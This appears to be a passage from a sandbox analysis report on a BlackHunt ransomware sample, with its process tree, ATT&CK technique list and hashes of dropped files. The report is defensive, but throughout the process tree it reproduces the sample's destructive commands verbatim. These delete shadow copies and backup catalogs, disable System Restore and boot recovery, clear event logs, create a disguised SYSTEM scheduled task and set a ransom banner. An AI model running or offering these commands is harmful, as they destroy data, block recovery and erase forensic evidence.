  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1136
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe" /F
  2⤵
  PID:2832
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1564
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1552
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2056
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1876
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:784
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:624
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1648
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:584
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2240
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1812
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2104
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2820
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3580
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3124
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3944
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2984
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3040
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3140
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2416
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3424
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1824
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3188
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3968
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2072
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3204
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3296
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:4012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3172
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:4056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2700
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:784
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3852
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe"
  2⤵
  - Deletes itself
  PID:2284
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1996

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1612

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3688

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3816

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
2937a894ab2d3138e5b4d4fb398a4ec2

SHA1
7433b6238908d4cbe7a7d72ac4ebfdfdbadc035b

SHA256
f621866017eac9696ded1eddfbec08d3c23ebfa216e6f27753beb0d4605d1dab

SHA512
fe4c20b4e67aedf6d5bf38706a64b00795a3f77489b78276451bc8cc8861692e3caa5d96ae04fa8c07de4dc43ebf8aa3c4f6225b87212df64761c67a2cdb0a4e

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
949dec5b0a1b2bdd58d4679f0e11b27e

SHA1
1ccdcfa53517558270628ffbf2d08e2cea7ba43c

SHA256
cbabb8ec3d21eec9bc661d073a2830628108fffa13eb16d780031dd7733b5228

SHA512
7b4ca801170bcdfa17447a51112b886869d63ca412c61f873d7f9169de264e8266f74455fc58598a21a9a720c1dafd31ae5769336f623e0465a9ac6d6e0ac318

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
9bc86a6290ab9a35bf8e1aad9faee32f

SHA1
cf9fe7bff8d9b786ae46fa6598dda7810aa3fe28

SHA256
3f501c099e264dde7068c0b3be6829fa81e1c0e6fda5eef7bce805f924cb797f

SHA512
2e5e6f5d41d0081802b9c506dde62a56e163ccd3e1f2ace05b8e7e9125cdeea2bed8091c5a644308dc98d2c94345a6ec42cd502988292533cce0a337e882e3b2

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads